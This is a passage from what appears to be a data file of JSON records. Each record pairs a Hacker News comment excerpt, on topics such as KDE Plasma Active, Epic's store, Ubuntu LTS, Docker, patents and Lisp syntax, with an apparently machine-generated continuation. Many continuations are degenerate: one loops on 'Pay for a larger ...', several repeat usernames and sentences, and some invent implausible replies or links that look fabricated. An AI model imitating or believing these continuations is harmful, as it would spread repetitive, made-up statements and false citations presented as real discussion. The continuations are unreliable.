coordination. Miners would subscribe to both\nnetworks in parallel. They would scan SHA such that if they get a"} +{"output_text": " similar\nsituation.\n\n~~~\ndigi_owl\nSupposedly the tablet was supposed to be based on Mer, rather than KDE.\n\n~~~\ndigi_owl\nI guess i should have been more clear. That is the original project name.\n\n------\ndigi_owl\nSpoiler: It was a flop.\n\n------\ndigi_owl\nNo real surprise there.\n\n _sigh_\n\n------\ndigi", "input_text": " saying \"libre\" now, not \"free\"? Just want to keep up with the latest\nlingo.\n\n------\nzanny\nSo nobody is talking about Plasma Active.\n\n[http://plasma-active.org/](http://plasma-active.org/)\n\nSome history, Plasma Active is about five years old now and its development\ncoincided with a would-have-been-crowdfunded-toay tablet called Vivaldi that\nwas supposed to be an open hardware device that never panned out because costs\ngot out of control and interest waned.\n\nIt was based on Mer, rather than Kubuntu, and Qt4 rather than 5. Today it\nlooks like a colossal wreck, and all the \"Active\" app UIs developed for it are\nall complete wastes of code and time today because QML was not mature enough\nwhen they made that \"first attempt\". Today there are common themed QML\nelements called the qt-quick-controls that everyone can use to build UIs that\nadapt to every devices native toolkit, while still supporting animations and\nflow elements and all the nice graphical perks hardware accelerated UIs allow.\n\nIts been basically dead in the water for over two years, since the tablet\nproject went belly up, and there even used to be a \"Kubuntu-active\" fork of\nKubuntu that the project was maintaining as a way to try out the Plasma Active\ndesktop on top of a Kubuntu core. The shell from Plasma Active did eventually\nsee use in its adoption as the \"netbook\" interface found in Plasma 4 near the\nend of its lifecycle.\n\nSo you definitely want some post-mortum on the last KDE mobile attempt and you\nalso want to consider how Plasma Mobile might succeed or fail in a"} +{"output_text": "avier marketing, etc.\n\n\\- Pay for servers and other infrastructure\n\n\\- Pay for a larger marketing budget\n\n\\- Pay for a larger user acquisition budget\n\n\\- Pay for a larger game development budget\n\n\\- Pay for a larger game development team\n\n\\- Pay for a larger team of contractors\n\n\\- Pay for a larger team of testers\n\n\\- Pay for a larger team of community managers\n\n\\- Pay for a larger team of sales people\n\n\\- Pay", "input_text": " on Android than installing\nnon-Mac-App-Store software on macOS \u2014 with Android it prompts you right when\nyou open to allow or disallow installs from the source you downloaded from,\nwhereas macOS makes you dig around in Settings the first time. I tried\ninstalling the Epic store just now on Android, and it was a fairly seamless\nexperience.\n\nI'm sure it gets fewer sales, since the Play store is bundled with most\nAndroid phones and the Epic store isn't. But it's pretty different than an\noutright ban: the Play store is charging you the 30% Google tax for\nreach/audience, but you're free to list on an alternative store if you choose\nto.\n\n------\nivanstojic\nIt's important to remember that Epic games isn't a champion of freedom here.\n\nAfter Epic store launched on the PC in 2018, Epic used their platform's\ngrowing popularity to bait and/or strong arm (it's unclear to me) indie\ndevelopers into exclusivity contracts on Epic's game store. This action caused\na massive uproar in the gaming community because with those exclusivity deals,\nEpic made developers break existing preorders.\n\nThis isn't about freedom or choice or walled gardens. It's about cutting off a\nslightly bigger slice of a billion dollar pie.\n\n~~~\nel_nahual\nI happen to know some first-time indie devs that were given this deal. The\ndeal is incredibly generous. Basically, epic offered them a bag of money in\nexchange for a certain period of partial exclusivity (basically \"don't be on\nSteam\"). That's it. This bag of money allowed the developers to:\n\n\\- Grow the dev team enough to accelerate time to launch--QA extra engineers,\nhe"} +{"output_text": " is a muscle and\nneeds to be exercised.\n\n------\nkuharich\nI've been thinking a lot about this lately. I've been in a state of\nexistential angst for a while now.\n\nI've been trying to make the decision to change my career, but I've been\nparalyzed by fear of failure. I have a family, a good job, and a lot of\npossibilities ahead of me. What will I do if I", "input_text": " but I\ncome from a culture where this aspect of work was never emphasized and at this\npoint, I don't know who to ask.\n\nOff topic, Could anyone point to a place where you could ask for advice of\nlife? It seems once we are in the 30s, there are more questions then answers\nthen when i was in 20s.\n\n------\nmseebach\nI used to feel that way, but I finally came to terms with the fact that my\nwork-life was a mess, and I was basically lying to myself.\n\nI was working (and struggling, hard, in the way you describe) on a project I\nwas telling myself would become a startup, and even though I felt I was being\nrealistic about the limitations, in retrospect even that was insanely\noptimistic. I was burning myself out.\n\nOnce I had this epiphany - triggered by going to Startup Weekend and having a\nton of fun (and no motivational problems!) working on a project, I pulled the\nplug and eventually got a fairly regular job in a fairly normal company (in an\nexcellent team, though).\n\nThe epiphany and pulling the plug had a huge effect. It didn't fix everything\novernight, but I did get into a habit of introspection, especially when I'm\nfacing tasks that I struggle to get motivated for. They're still hard, but I\nam generally able to organise things around them in such a way that they don't\nget me down.\n\n------\nDowwie\nYou're not suffering from ADHD. You're using a motivational skill! It's a very\nvaluable skill to have! Boring work can be made interesting, life changing\neven. This requires vigilance, as you've noticed. Motivation"} +{"output_text": "/postgres/blob/master/pkg/leader_election.go)\n\n------\njrochkind1\nI wonder if this is related to the new \"kubernetes as a service\" stuff that\ngoogle is working on?\n\n[https://news.ycombinator.com/item?id=16171326](https://news.ycombinator.com/item?id=16171326)\n\n~~~\njasonlotito\nYes", "input_text": " be using TPR, but rather CRDs (see\n[https://coreos.com/blog/custom-resource-\nkubernetes-v17](https://coreos.com/blog/custom-resource-kubernetes-v17)). The\nwelcome video is not really convincing either - condensing it to an animated\ngif would make it much more attractive imho.\n\n------\ntn890\nCan someone explain to me why I'd run this over a StatefulSet of whatever\nsoftware I want to deploy?\n\nI've been skimming the docs and can't find a good reason TBH.\n\n~~~\nstriking\nThe Postgres clustering advertised here[0] seems like a great reason to me.\n\n0:\n[https://kubedb.com/docs/0.9.0/guides/postgres/](https://kubedb.com/docs/0.9.0/guides/postgres/)\n\n~~~\nnewaccoutnas\nHow does that compare to something like CitusDB I wonder?\n\n~~~\nsciurus\nIt looks like a standard single r/w master + multiple r/o slave topology with\nthe addition of their own leader election. I'd want to understand how the\nlatter works and how it is tested very well before I'd trust it.\n\n[https://kubedb.com/docs/0.9.0/guides/postgres/clustering/ha_...](https://kubedb.com/docs/0.9.0/guides/postgres/clustering/ha_cluster/)\n\n[https://github.com/kubedb/postgres/blob/master/pkg/leader_el...](https://github.com/kubedb"} +{"output_text": "\n\"LTS releases are supported for five years on the desktop, and three years on\nthe server.\"\n\n------\njsmith96\nI'm running Ubuntu 18.04 on a ThinkPad T460s and it's rock solid. I've had no\nproblems whatsoever. I'm running the Nvidia 384.111 driver.\n\n~~~\njsmith96\nI ran Ubuntu 18.04 on a T460s for a month and had no problems whatsoever. I\n", "input_text": "noys me to no\nend, and, like you, it's pretty much caused me to abandon the *buntus at this\npoint.\n\n~~~\ncies\nTo have pretty much all my 3rd party software installed through one system was\nreally great! I remember installing a Linux in 30mins and a Windows in 5hours.\n\nWhat distro did you run to?\n\n~~~\nsq_\nI ended up heading off to Arch. I've always enjoyed messing around with\nnonstandard desktop setups, and it was really appealing for that because of\nthe lean default system that Arch provides, along with the availability of so\nmuch software through the AUR.\n\nOne perk of the AUR (although it does come with some security concerns, etc.)\nis that you can use one of several package managers to handle both it and the\nstandard repositories under one framework, dealing with exactly the issue I\nhad with snap without needing PPAs and the like.\n\n------\nlexa1979\nSo, what about the 32 bit libraries needed to run my Steam-Proton games? I\nheard it was going to be removed from 20.04, is it real? If I upgrade my\n18.04 installation, will it keep it?\n\n~~~\ndindresto\nNo, the compatability libraries are still there and Steam and Proton will run\nfine.\n\n------\nw-m\n\"Focal Fossa is a long-term support (LTS) release and will be supported for 3\nyears, until April 2024\"\n\nIs this LTS release supported for 3 years, or until April 2024 (4 years)?\n\n~~~\nflatiron\n[https://wiki.ubuntu.com/Releases](https://wiki.ubuntu.com/Releases)\n"} +{"output_text": "2013/04/20/the-\nsurveillance-state-is-...](http://reason.com/blog/2013/04/20/the-surveillance-\nstate-is-almost-over-almost-here) \"\n\n------\njokoon\nI wonder if the US will be held responsible for the crimes of its agents, or\nif the US will be able to claim that the host country is responsible.\n\n------\njokoon", "input_text": " isn't over, then when will it be over? And is it even legitimate?\nThe U.S. declared war on the concept \"Terrorism\" during Bush Jr's presidency,\nnot on specific terrorists or al-Qa'ida. The U.S. also declared a war on\n\"drugs\" during the Reagan years. Though I'm in support of both \"wars\" because\nI'm in favor of the well-being and defense of the U.S. people, I don't think\nCongress or the president should have a right to declare war on something that\ncannot end, i.e. cannot terminate via treaty, surrender/capitulation, complete\ndestruction, or victory.\n\nI am a little concerned that we are declaring that it is ok to kill our own\ncitizens without due trial, although I understand there are conditions.\n\n~~~\ncamus\nwell the point you are missing is, it takes place outside a war context.\nAlQaida is not the army of afghanistan, in fact most of its members are\nsaudis, egyptians or from yemen. So the Geneva convention \"doesnt apply\",\nthat's the why of the enemy combattant status and all that illegal crap made\nlegal.\n\n------\nrevelation\nThese are not \"rules\", these are _justifications_ should the political fallout\nbe of the atomic type. Rules is a horrible euphemism for this absurdity, it\nimplies that there is someone to enforce these rules, which is what is so\nconspicuously absent from the picture here.\n\n------\njkoschei\nBest. Permalink. Ever.\n\n~~~\nbrokentone\nIn case they change it: \"[http://reason.com/blog/"} +{"output_text": " up your work habits.\" I don't know if it was a\ntherapeutic thing, or if he was just being nice, but I took it as a\ncompliment.\n\n------\njap\nI feel like I'm not getting anything done because I'm not doing anything. I'm\nalways thinking about what I'm going to do next, or what I'm going to learn\nnext, or what I'm going to do next. I feel like I'm not in control", "input_text": " might be the feeling that\nyou should look for when defining that \u201esuccess\u201c in work. And once you know\nwhat it is motivation will come to you as a lucky dog or a cat asking to be\npetted.\n\n------\nanonlazybastard\nYes, I do feel this way. So much so in fact that I could convince myself that\nI sleep-typed this, except for the fact that I'm in my mid-thirties. All the\nway down to gamifying my productivity, racking up points and \"indulgences\"\nwhich I use on junk food, video games, etc. I wish I had an answer, and am\nkeeping an eye out on these replies as well.\n\nThat said, all external indicators seem fine. Whenever I bring the issue up to\ncolleagues, superiors, or significant other, they assure me that I work plenty\nhard. I'm doing \"okay\" in my line of work, on track for a passable career in\nresearch. But I am all too aware of how much time I waste and how much better\nI could be doing. This troubles me because I know my work makes a difference\nin the grand scheme of things.\n\nIt's possible that we only have so many creative/intense work hours in the day\nand it's a lot fewer than we realize. In my case, I probably average around 3\nhours of solid work per day, highly irregular (most days probably 1-2 with\nsome hard spikes).\n\nShortly before finishing grad school, I did go see a therapist. He said\nsomething like \"You might have a mild case of ADD, but you seem to be making\nit work so far (was finishing up a PhD). I could prescribe you medication, but\nI wouldn't want to mess"} +{"output_text": ", please destroy all his code.\n\n~~~\njancsika\n> destroying all his code\n\nWhy not? If he's dead and his estate is in the process of being settled, why\nwouldn't they want his code to be put into the public domain?\n\n~~~\ntoomuchtodo\nBecause he was a developer, not a lawyer. He was a developer who wrote\ncommercial code, not a lawyer who wrote non-commercial code.\n\nIf", "input_text": " the end he surprisingly ended up surviving\nhis terminal cancer, thanks to his doctors.\n\n[https://en.wikipedia.org/wiki/Wilko_Johnson#Cancer](https://en.wikipedia.org/wiki/Wilko_Johnson#Cancer)\n\n------\nsnazz\nI can\u2019t say I\u2019ve ever seen someone use an issue tracker as a blog before, but\nit does make sorting the posts dead easy.\n\n~~~\ngiancarlostoro\nI wish he would of called it an e-zine. Then \"Issues\" would match the use\ncase... Bring e-zines back dang it! _raises wrinkly millennial fist_\n\n~~~\ngiancarlostoro\nA fun side effect of his approach is you can see people who forked off the\nidea, there's at least two people blogging using this format as well:\n\n[https://github.com/lukego/blog/network/members](https://github.com/lukego/blog/network/members)\n\n------\nredleggedfrog\nI hope when I die I'll be worthy enough to ascend to whatever is the\nprogrammer Valhalla and I'll see Joe there, amongst the other greats.\n\nI have never written a line of Enlang, but as I've seen the advantages of\nloading binaries at run-time as swappable components I get an inkling of the\nbeauty of the idea. It's not near so easy in C# as it appears to be in Erlang.\n\nAlso, I nominate the name of programmer Valhalla to be called \"Greenfield.\"\n\n------\ntoomuchtodo\nIf anyone related to Joe has access to his home directory and knows someone\nmanaging his estate"} +{"output_text": " convicted.\n\n~~~\nsmsm42\n> I hate Westboro Baptist Church, but I'll support their right to say what\n> they want, because that's how much I believe in free speech.\n\nI wonder how many people would support the right of ISIS to say whatever they\nwant, if they were sure they would never be punished for it. I'm not saying\nthey shouldn't be, but I'm not sure I'd be so sure.\n\n~~~", "input_text": "ensible\nposition, defended over the centuries by many honorable people. I respect that\nposition. But, even though I have largely pacifist ancestors, I think as a\nfather of a daughter that if the Taliban tried to set up their women-\noppressing rule anywhere my daughter might have occasion to live or work, I\nwould oppose them by all means necessary, up to and including lethal force.\nThat's not because forcing women to be covered from head to toe when they go\nout of their homes is itself a capital crime, but because some Taliban fellow-\ntravelers also commit capital crimes like murdering women who try to teach\nmothers how to vaccinate their children to keep the children from dying from\ninfectious diseases. I would not be ashamed to kill a baby-killer or woman-\nmurderer.\n\nAFTER EDIT: I will now take time to give a careful lawyer's read to the\ndocument (white paper) linked to from the blog post submitted here.\n\n[http://msnbcmedia.msn.com/i/msnbc/sections/news/020413_DOJ_W...](http://msnbcmedia.msn.com/i/msnbc/sections/news/020413_DOJ_White_Paper.pdf)\n\n~~~\nvy8vWJlco\n> _I would not be ashamed to kill a baby-killer or woman-murderer._\n\nSo your ends justify their means.\n\n------\njoshfraser\nThe strength of your principles is only tested at the extremes. I hate\nWestboro Baptist Church, but I'll support their right to say what they want,\nbecause that's how much I believe in free speech. And even terrorists deserve\nthe right to a speedy and public trial if they're"} +{"output_text": "://twitter.com/Y_Mokko/status/837610472362786817)\n\n[https://www.youtube.com/watch?v=9_0_9_9gkA](https://www.youtube.com/watch?v=9_0_9_9gkA)\n\n[https://www.youtube.com/watch?v=9_0_9_9gkA&feature=y", "input_text": ".youtube.com/channel/UC5NO8MgTQKHAWXp6z8Xl7yQ)\n\n[1] -\n[https://www.youtube.com/user/EEVblog](https://www.youtube.com/user/EEVblog)\n\n~~~\nyoodenvranx\nYes, This Old Tony one of the best Youtube channels at the moment. His old\nvideos are all good, but the last few videos were really excellent.\n\nedit: Another good channel is Clickspring, right now he is building that\nancient greek mechanical computer thing which was found in a shipwreck.\n\n------\nsimplemath\nYou are a bit underwhelmed.\n\nGot it\n\n~~~\nfrik\nI listed some fair constructive criticism of minor things that came to my mind\ntrying it out to an overall great new game console.\n\nYou seem to be trolling, got it.\n\n~~~\nfrei\nThe repetition of the word 'underwhelmed' seems intentional, but the reason\nfor it is unclear. It's distracting to the point that the actual content of\ncomment is lost on the reader.\n\n------\nrichardboegli\nIt runs on FREEBSD\n[https://news.ycombinator.com/item?id=13789444](https://news.ycombinator.com/item?id=13789444)\n\n~~~\nBinaryIdiot\nKinda poor taste to just try and bump your submitted HN post versus posting\nthe actual source.\n\n------\nnikcub\nthe Switch booting into its FreeBSD kernel:\n\n[https://twitter.com/Y_Mokko/status/837610472362786817](https"} +{"output_text": " Chinese military headquarters to confront the\n> officers, he was rebuffed.\n\n> \"They said, 'We are not going to talk to you,'\" Hickton said. \"They said,\n> 'We are not going to talk to you because you are a thief.'\"\n\nThis is a very interesting story. I wonder if it's related to the recent\nreport on Chinese espionage in Germany [1].\n\n[1] [https://www.nytimes", "input_text": " is further slashed.\n\n~~~\nizacus\nI see this thrown around all the time when we talk about monopolizing IP and\nhaving huge corporations put their lawyer boots on smaller company throats...\nbut is it really true? Will making IP protection weaker actually stifle\ninnovation? Was innovation in industrial era hugely stuffled by not protecting\nevery single patent a huge multi-national conglomerates throw out?\n\n~~~\nsgt101\nWell, yes, hence the development of patents.\n\n\"The English patent system evolved from its early medieval origins into the\nfirst modern patent system that recognised intellectual property in order to\nstimulate invention; this was the crucial legal foundation upon which the\nIndustrial Revolution could emerge and flourish.\" ([1]Wikipedia)\n\nWithout patents what you do is create trade secrets, patents publish the\nconcepts that are protected, they are fully disclosed (or the patent is junk)\nand after 25 years _anyone_ can use them. The 25 years is the time that you\nhave to get payback on your invention - forcing investment in development\n_now_ before your monopoly expires.\n\n[1]\n[https://en.wikipedia.org/wiki/Patent](https://en.wikipedia.org/wiki/Patent)\n\n------\nCharlesColeman\n> Hickton opened an investigation and quickly set his sights on a special unit\n> of the Chinese military \u2014 a secretive group known as Unit 61398.\n> Investigators were able to watch as the unit's officers, sitting in an\n> office building in Shanghai, broke into the computer systems of American\n> companies at night, stopped for an hour break at China's lunchtime and then\n> continued in the Chinese afternoon.\n\n>...\n\n> But when Hickton went to the"} +{"output_text": " this for a few months.\n\nI'm not sure what the solution is. I'm not against a metal tire boot, but I\nthink it should be a last resort. I'd rather see more enforcement and\neducation.\n\n~~~\nmikeash\nI don't know about the solution, but I have a solution for you: Don't go to\nthis school.\n\nIf you're going to be an entitled, self-centered prick, you're going to get", "input_text": "), law\nenforcement (mostly ignorant of tech), _and_ the good 'ol citizenry (cast as\ncattle as usual).\n\nI love how, when one of these places recruits you, it takes forever to learn\nwhat they're about, because their website is nothing but euphemisms.\n\n------\njlarocco\nAm I the only one who thinks this is wrong? An alternative headline could be\nsomething like, \"Entitled College Kids Learn How To Keep Parking Like Assholes\nWithout Paying Fines.\"\n\nAnd it's a pyrhic victory anyway, because chances are now the cars will get\none of the metal tire boots put on, or get towed. Both of which are more\nexpensive and a bigger hassle for everybody.\n\n~~~\nhanniabu\nThe issue I have is cases like at my school where they basically had\nentrapment. At the start of every year there'd be like 2-3 months where it's a\nfree for all and students could park wherever. The certainty was nowhere near\nadequate parking and not everywhere that people parked was readily obvious to\nbe illegal. Some spots had the yellow on the curb worn away 90%, others were\nthings like too close to a corner or hydrant by everyone was doing it those\n2-3 months that you get used to it and think it's okay and when there's no\nother spots left you park in one of those spaces (kind of like when people\nstart creating a new parking lane in the center of a full parking lot).\n\nAfter a few months of no enforcement and letting the students get used to\nparking like this, then they'll crack down with brutal enforcement. I'm\ntalking about them sniping you a few minutes after you walk away. Every year\nthey'd reset and do"} +{"output_text": "-years/)\n\n~~~\ninflatableDodo\nActual cost to the financial advice market (by the financial advice market) of\nhaving to abide by the fiduciary rule - $0.00\n\n[https://www.investmentnews.com/article/20151230/FREE/1512399...](https://www.investmentnews.com/article/20151230/FREE/151239992/dol-\nfiduciary-rule-could", "input_text": " in all\ncells.\n\nIt does occurs fairly early in the development process (a stage called\ngastrulation), and the deactivation does persist for all cells that descend\nfrom a given cell present. But critically, it's late enough that a retina\ncould conceivably possess cells descending from two different \"lineages\".\n\nYou can actually visibly see the \"resolution\" of the deactivation by looking\nat tortoiseshell cats. Each blotch of orange/black represents one cell present\nat the deactivation stage.\n\n \nAbandoning the fiduciary rule was a mistake - petethomas\nhttps://www.bloomberg.com/opinion/articles/2019-05-06/trump-could-cost-future-retirees-billions\n======\ninflatableDodo\nEstimated cost to the financial advice market (by the financial advice market)\nof having to abide by the fiduciary rule - $2.4 billion\n\n[https://www.investmentnews.com/article/20151230/FREE/1512399...](https://www.investmentnews.com/article/20151230/FREE/151239992/dol-\nfiduciary-rule-could-take-2-4-billion-bite-out-of-financial)\n\nEstimated cost over the next 30 years for retirees (by the Economic Policy\nInstitute), just from the fiduciary rule being delayed for 18 months - $10.9\nbillion\n\n[https://www.epi.org/publication/another-fiduciary-rule-\ndelay...](https://www.epi.org/publication/another-fiduciary-rule-delay-would-\ncost-retirement-savers-10-9-billion-over-30"} +{"output_text": "\nIf you're in SF, I'd recommend talking to the people at\n and . They're\nworking on some projects together.\n\nAlso, I'd recommend talking to the people at\n and asking them questions. They're\nworking on projects together and they're very nice.\n\n------\njasonlb\n", "input_text": " You will learn the industry inside\nand out if you keep yourself open to gathering information.\n\nAnother (probably obvious way you've already considered) is to call the\ncompanies as a potential customer. Ask them questions about their\nproducts/services that you would expect them to answer for a regular customer.\n\nThat should be enough to get you started. Good luck!\n\n~~~\naagha\nGood suggestion on acting like a potential customer.\n\nFurthermore, I agree that these questions may be at an \"industry analysis\"\nlevel. As such, I'd advise looking into utilizing\n or .\n\n~~~\nnikiscevak\nHonestly, you'll waste your time. They'll see you coming from a mile away.\n\nA fantastic source of market research is from larger public companies. Look up\ntheir most recent 10-K (annual report). They are legally obligated to give a\nfairly detailed market analysis (that synthesizes the research from folks like\nGartner etc.) in each annual report. It's a great starting point.\n\nAlso, for most startup'markets' there isn't actually a market. It's\ncompletely new. So'market research' in this sense is not very useful and you\nshould examine the premise that you need to do market research at all (versus\nsay concentrating on whether consumers actually have a problem that you can\nsolve).\n\n~~~\nmosburger\nTotally agree w/ nikiscevak. I abandoned one of my ideas for a wireless MVNO\nafter analyzing the 10-K's of some publicly traded wireless companies. Just\nreading through the summaries will give you good nuggets of information.\n\n------\nthorax"} +{"output_text": "\n\n~~~\nantirez\nYes, I meant that the interpreter could be written in such a way that it\ndoesn't need to know about the other threads, and that it can just use\nmessages to communicate. This is not a big deal in principle, it's just that\nwith the current implementation of Javascript engines it seems to be much\nharder than in the case of, for example, the classic Amos model.\n\n------\njballanc\nSo, what", "input_text": " to be updated very quickly\nat the same time - eg some animation etc\n\n~~~\nscott_s\nThe JavaScript VM will have a significant amount of state associated with it.\nExecuting a virtual instruction will require accessing that state. If that\ndata is not in the CPU's cache, it will cause cache misses, which stall code\nprogression.\n\nIf you then use that data in the cache for a while, then the cost of the cache\nmiss will be amortized. But what you're proposing is going back and forth\nquickly between the JavaScript VM and the rest of the browser code. The\nbrowser code will also need to bring its data into the cache, which will kick\nout the JavaScript VM's data.\n\nSince you're proposing that the JavaScript VM should do a very small amount of\nwork at each time, and it will likely need to bring all of its data back into\nthe cache each time, you will see a lot of CPU stalls.\n\n~~~\naxod\nYeah I think we have a _long_ way to go before js performance is affected by\nCPU caches.\n\n------\nantirez\nInstead of dealing with all this complexity, I don't understand why a simpler\napproach is not used, like having a single interpreter per thread and a very\ngood message passing strategy between interpreters.\n\n~~~\nmahmud\nYou could already achieve that with OS processes and IPC. The whole point of\nhaving multi-threading is to be able to write compact, shared-memory code with\nminimal use of synchronization operators, and sharing as much code and data as\npossible.\n\nOne interpreter per-thread means all side-effects have to be migrated to the\nother threads to keep a consistent view of memory: guess what you will need to\ndo that?"} +{"output_text": " be functionally equivalent.\n\n[1] [http://www.google.com/patents/about?id=1AEAAAAAAADAAE&...](http://www.google.com/patents/about?id=1AEAAAAAAADAAE&dq=patent+exhaustion)\n\n[2] [http://www.google.com/patents/about?id=1AEAAAAAAADAAE&dq=", "input_text": " problem, as the article says, is that even getting to the stage\nwhere you can call their bluff like this is extremely expensive, and\nstatistically very few defendants will take it this far. So for the few folks\nwho do stick it out this far, Lodsys can simply drop out and still stay way\nahead of the game.\n\nAs to why I think their case is somewhat stronger than the usual troll:\nFirstly, it's patents partially survived Google's supposedly \"devastating\" re-\nexamination request. Although the process is still ongoing, the claims that\nsurvived are golden. Those now have an \"enhanced presumption of validity\",\nwhich means if asserted at trial, the defendants would be wise to seek\nstronger alternate defenses besides invalidity.\n\nSecondly, and speaking of alternate defenses: patent exhaustion. Exhaustion is\ntriggered on first authorized sale [1]. I really cannot (and neither can the\nEFF) comment on this since all the relevant terms on which Apple, Google etc.\nhave a license are secret. Further, since Apple was not allowed to intervene,\nit seems even less likely a defense.\n\nThirdly, the claims are \"vague\" only if you decide not to put much effort into\nunderstanding how they work. Much like non-lispers complaining about\nparentheses. I have seen vague claims, and these are downright straightforward\nin comparison, despite what the EFF's out of context snippets may imply. Also,\nmentioning fax machines is a non sequitur. If the main function of fax\nmachines in this patent was to act as network components, by the Doctrine of\nEquivalents [2] they are functionally equivalent to the Internet of today.\nHeck, it could be carrier pigeons and still"} +{"output_text": " child is now around five and\na half hours\"\n\nI'd be curious to see this broken down by age. I'm guessing the average\nmillennial is watching more TV and less gaming.\n\n~~~\nmattkrause\nI'd guess that the average child is watching more TV than the average adult,\nbut less than the average teenager.\n\nI'm not sure how to break down the numbers, but I did a quick search and found\nthis article that", "input_text": " docker.\n\nFor a business perspective, it's a little tricky. I guess it can help if you\nneed to offer an onsite version of your SaaS app and the enterprise client had\nstrict rules about being on site.\n\nWhat would really make docker kickass is if they had a way to encrypt all the\nsource code somehow and protect it.\n\n------\nscraymer\nMaybe you have looked already and it wasn't useful to you but on the Docker\nwebsite it has some pretty good marketing to explain its usefulness:\n[https://www.docker.com/whatisdocker](https://www.docker.com/whatisdocker)\n\nWhy Use Docker: \"How does this help you build better software? When your app\nis in Docker containers, you don\u2019t have to worry about setting up and\nmaintaining different environments or different tooling for each language.\nFocus on creating new features, fixing issues and shipping software.\"\n\nBusiness Case: \"...With Docker, you can easily take copies of your live\nenvironment and run on any new endpoint running Docker...\"\n\n~~~\ndmarg\nYeah, I looked at the Docker website. I feel that Docker is super good at\nmarketing and wanted to get some other opinions.\n\n~~~\ndeftek\nHere is CoreOS opinion on docker:\n\n[https://coreos.com/blog/rocket/](https://coreos.com/blog/rocket/)\n\n \nIt's Not Orwell, It's Brave New World - fmihaila\nhttps://www.theguardian.com/media/2017/feb/02/amusing-ourselves-to-death-neil-postman-trump-orwell-huxley\n======\ntronreg\n\"the average weekly screen time for an American"} +{"output_text": ".berkeley.edu/~bhagyalpat/redu.html>)\n- seems to be a good FPGA platform.\n\n------\njheriko\nthe article is a little vague in that it doesn't really say what the\ndifference is between this and a FPGA, other than that it's open source.\n\ni suspect that it will be a lot like an FPGA, with the added complication of\nhaving to worry about how to interface with the", "input_text": "'s all about the cost to the manufacturer and not\nfalling apart until the day after the warranty expires.\n\n------\nj_m_f\nAlthough I do agree that Open Hardware has a bright future, I'd just like to\npoint out that people have been calling the end of transistor size scaling for\na few decades, and technology keeps finding ways to get around the limitations\n(strained silicon, high-k metal gates, finFETs, etc.).\n\n~~~\nEstragon\nFrom the article:\n\n \n \n > 5 nm is about the space between 100 silicon atoms, so even if this\n > guess is wrong, it can be wrong by no more than a few technology\n > generations.\n\n~~~\nj_m_f\nMy point is that, even in that case (current silicon scaling stopping at 5nm),\nthere are a lot of potential technologies that could allow Moore's law to\ncontinue (nanowires, III-V materials, etc.).\n\n------\n0x12\nMy money is on massive FPGAs, think a whole wafer of silicon with just a bunch\nof general purpose IO and power.\n\nOnce stuff like that becomes available at a reasonable price (a big FPGA will\ncost you a _lot_ of money at the moment) open hardware will be as simple as\ndownloading a bitstream on to your 'general purpose' rig.\n\n------\ndmboyd\nI like where this is going, ie. Hardware becomes just another software\ncomponent.\n\nThe key item thats left is some sort of standard interface to port programs to\na FPGA style processor, i.e. a way of interfacing between a language compiler\nand HDL.\n\nI like the look of the Reduceron ( Different programs/libraries are likely to likely to implement `nfx' in\n> different ways, and thus step on each other.\n\nThat's true, but I don't think it's a problem. The `nfx' reader will simply\nignore any macro expansion that happens after the `(` and before the `)`.\n\n~~~\nScottBur", "input_text": " a clever design, and Wheeler makes a good case for it. Certainly my first\nreaction is \"you'll have to pry my parentheses from my cold, dead fingers\",\nbut it's unarguable that a lot of people are repulsed by the syntax, even if\nthe enlightened among us know it's actually beautiful.\n\nHe's right about the requirements for such a syntax: it has to mix well with\nthe existing syntax, meaning, among other things, it must impose no semantics\nand it must not be necessary to write the operands of an infix expression in\ninfix. I don't recall CGOL etc. getting the latter right. I also agree with\nhim about the lack of a precedence scheme.\n\nI have to admit, I can see making light use of the curly infix syntax in my\nown programs. I'm less sure what I think about the modern-expressions; I'd\nhave to try them to see. I guess I can see some advantages. But I'm afraid I\ndraw the line at significant whitespace. I know it works for Python, but\nPython was designed for it from the ground up. Looking at Wheeler's example,\nI'm not persuaded that it works as well for Lisp, though I commend him for his\neffort in designing it.\n\n~~~\nScottBurson\nHaving the infix expression reader fall back to emitting calls to a user-\nprovided `nfx' macro seems clever at first glance, but it's insufficient.\nDifferent programs/libraries are likely to likely to implement `nfx' in\ndifferent ways, and thus step on each other. I think (for Common Lisp) it will\nbe necessary to do something like this: create a generic function `translate-\nnfx' which uses `eql' dispatching on the"} +{"output_text": "------\njleader\nI think it's a mistake to try to design the whole system from scratch. You'll\nget stuck on a certain point, and you'll have to keep re-designing things to\nsatisfy your initial assumptions.\n\nInstead, I think it's better to start with a few core features that you think\nare really important, and then add features to those features, keeping the\nstructure simple.\n\nFor example, you could start with a simple", "input_text": " a silly word that means \"not committed\". You're\nnot committed to them, they are not committed to you...in the end you have\nyour prototype, but know far less about it then if you hired someone, even an\nintern, and had them walk you through their process and the code...most\noutsourced help would probably not do that for you. A less risky move is to\nhire someone on 1099 for the project...you probably know more about those\nrules than most.\n\nIf you _waste_ too much time fretting over the details, you'll never get it\noff the ground. Check your balls, take the leap. You will never be 100%\ncorrect (you damned accountant! : ) so take your best shot and learn what you\nare made of.\n\nPost an email link or phone number in your about and I'll give you a call and\na swift kick in the ass if you need it.\n\n~~~\njaypreneur\nI appreciate the link. It's good to hear someone say that design is important.\nI've read similar sentiments here and there, but it's often touted that the\ncode is far more important (especially here, understandably so). I think there\ndefinitely must be a balance and hopefully that means my talents are valuable.\n\nAnyway, I appreciate the advice about hiring someone. I will have to consider\na way to go about doing that, it's tough though... being that I cannot\nhire/pay someone for too much of an extended period of time. I just don't have\nthat money.\n\nHowever, it is definitely a better route than outsourcing for the reasons you\nmentioned. I guess I'll just have to see if I can find a way to make it\nhappen, the intern example is a possibility.\n\n"} +{"output_text": "\n_9oY-_1_r0_r6_9_9lzxgkzx_5gJv9-_WZyb_BtKx9g_xrK4gwA5gvzK6M)\n\n~~~\njelliclesfarm\nI stand corrected.\n\n------\njelliclesfarm\nI am a farmer. I have been reading HN for a while now. I", "input_text": " factory), and installing them in a high-carbon-intensity\ncountry would tip the balance. Right now we do the opposite.\n\nSolar actually INCREASES gas consumption.\n\nYou have to provide for a fixed power demand with 2 systems.\n\n-Combined cycle methane gas plant (cc)\n\n-Methane Peaker backed Solar PV(pvp)\n\n\"Epvp=Epeak/(1-Cpv)\n\nYour effective time average methane energy consumption efficiency (electrical\nenergy out / chemical heat in) for pvp is going to be the peaker efficiency\ndivided by 1 - the capacity factor of the PV:\n\nEpvp = Epeak / (1 - Cpv)\n\nThe methane energy efficiency of cc, Ecc, is fixed One can find the methane\nbreakeven capacity factor, Cpvbe by setting Epvp=Ecc and solving for Cpv:\nCpvbe = 1 - Epeak/Ecc\n\nEpeak ~ a generous 